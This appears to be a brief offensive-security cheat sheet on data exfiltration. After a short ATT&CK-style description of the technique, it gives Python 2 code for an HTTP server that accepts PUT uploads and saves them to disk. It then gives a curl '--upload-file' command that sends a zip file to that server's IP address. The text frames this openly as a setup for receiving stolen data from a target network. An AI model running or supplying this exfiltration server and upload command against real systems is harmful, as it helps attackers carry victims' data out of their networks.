Python Server to Receive Exfiltrated Data

Data Exfiltration

The adversary is trying to steal data.

Exfiltration consists of techniques that adversaries may use to steal data from your network. Once they’ve collected data, adversaries often package it to avoid detection while removing it. This can include compression and encryption. Techniques for getting data out of a target network typically include transferring it over their command and control channel or an alternate channel and may also include putting size limits on the transmission.

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Server Code

#!/usr/bin/python

import SimpleHTTPServer
import BaseHTTPServer

class SputHTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
    def do_PUT(self):
        print self.headers
        length = int(self.headers["Content-Length"])
        path = self.translate_path(self.path)
        with open(path, "wb") as dst:
            dst.write(self.rfile.read(length))

if __name__ == '__main__':
    SimpleHTTPServer.test(HandlerClass=SputHTTPRequestHandler)

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Client Code

Curl IP --upload-file file.zip

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